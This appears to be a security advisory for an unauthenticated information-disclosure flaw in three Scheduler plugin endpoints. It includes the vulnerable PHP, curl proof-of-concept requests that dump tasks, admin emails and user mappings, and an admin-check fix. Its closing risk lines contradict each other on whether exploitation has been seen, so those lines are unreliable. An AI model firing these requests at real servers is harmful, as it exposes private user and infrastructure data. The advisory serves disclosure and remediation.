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GHSA-j724-5c6c-68g5
No affected components available
Summary
Three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin(). An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests.
Details
The vulnerable files are:
1. plugin/Scheduler/View/Scheduler_commands/list.json.php:1-7
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');
$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
2. plugin/Scheduler/View/Emails_messages/list.json.php:1-10
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Emails_messages.php';
header('Content-Type: application/json');
$rows = Emails_messages::getAll();
$total = Emails_messages::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}
3. plugin/Scheduler/View/Email_to_user/list.json.php:1-10
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Email_to_user.php';
header('Content-Type: application/json');
$rows = Email_to_user::getAll();
$total = Email_to_user::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}
None of these files check authentication before calling getAll(), which executes SELECT * FROM {table} and returns the entire table contents.
In contrast, every sibling endpoint requires admin access. For example, plugin/Scheduler/View/Scheduler_commands/add.json.php:12-15:
if(!User::isAdmin()){
$obj->msg = "You cant do this";
die(json_encode($obj));
}
The Scheduler_commands table (defined in plugin/Scheduler/Objects/Scheduler_commands.php) stores fields including callbackURL (internal server URLs with query parameters), parameters (JSON blobs containing user IDs and email configuration), status, timezone, and cron scheduling fields. The Emails_messages table stores subject and message (full HTML email bodies composed by admins). The Email_to_user table maps users_id to emails_messages_id, revealing which users are targeted by which email campaigns.
PoC
# 1. Retrieve all scheduled tasks — exposes internal callbackURLs and parameters
curl -s 'https://target/plugin/Scheduler/View/Scheduler_commands/list.json.php' | jq '.data[] | {id, callbackURL, parameters, status, type}'
# 2. Retrieve all admin-composed email messages — exposes subject and HTML body
curl -s 'https://target/plugin/Scheduler/View/Emails_messages/list.json.php' | jq '.data[] | {id, subject, message}'
# 3. Retrieve user-to-email targeting mappings — reveals which users receive which emails
curl -s 'https://target/plugin/Scheduler/View/Email_to_user/list.json.php' | jq '.data[] | {users_id, emails_messages_id, sent_at}'
All three return full database contents with no authentication required. No session cookie or token is needed.
Impact
An unauthenticated attacker can:
- Enumerate internal infrastructure:
callbackURLfields expose internal server URLs and query parameters used by the scheduler, potentially revealing internal API endpoints and their parameter structures - Read admin email campaigns: Full email subjects and HTML message bodies composed by administrators are exposed
- Map user targeting: The
Email_to_usertable reveals whichusers_idvalues are targeted by which email campaigns, enabling user enumeration and profiling - Gather reconnaissance: Scheduling configuration (cron fields, execution status, timezone) reveals operational patterns and timing of automated tasks
The information disclosed could be used to facilitate further attacks (e.g., using discovered internal URLs for SSRF, or user IDs for targeted account attacks).
Recommended Fix
Add User::isAdmin() checks to all three list.json.php files, matching the pattern used by sibling endpoints. For each file, add the following after the require_once lines and before the data retrieval:
plugin/Scheduler/View/Scheduler_commands/list.json.php:
<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');
if(!User::isAdmin()){
die(json_encode(['error' => true, 'msg' => 'Not authorized']));
}
$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
Apply the same pattern to Emails_messages/list.json.php and Email_to_user/list.json.php.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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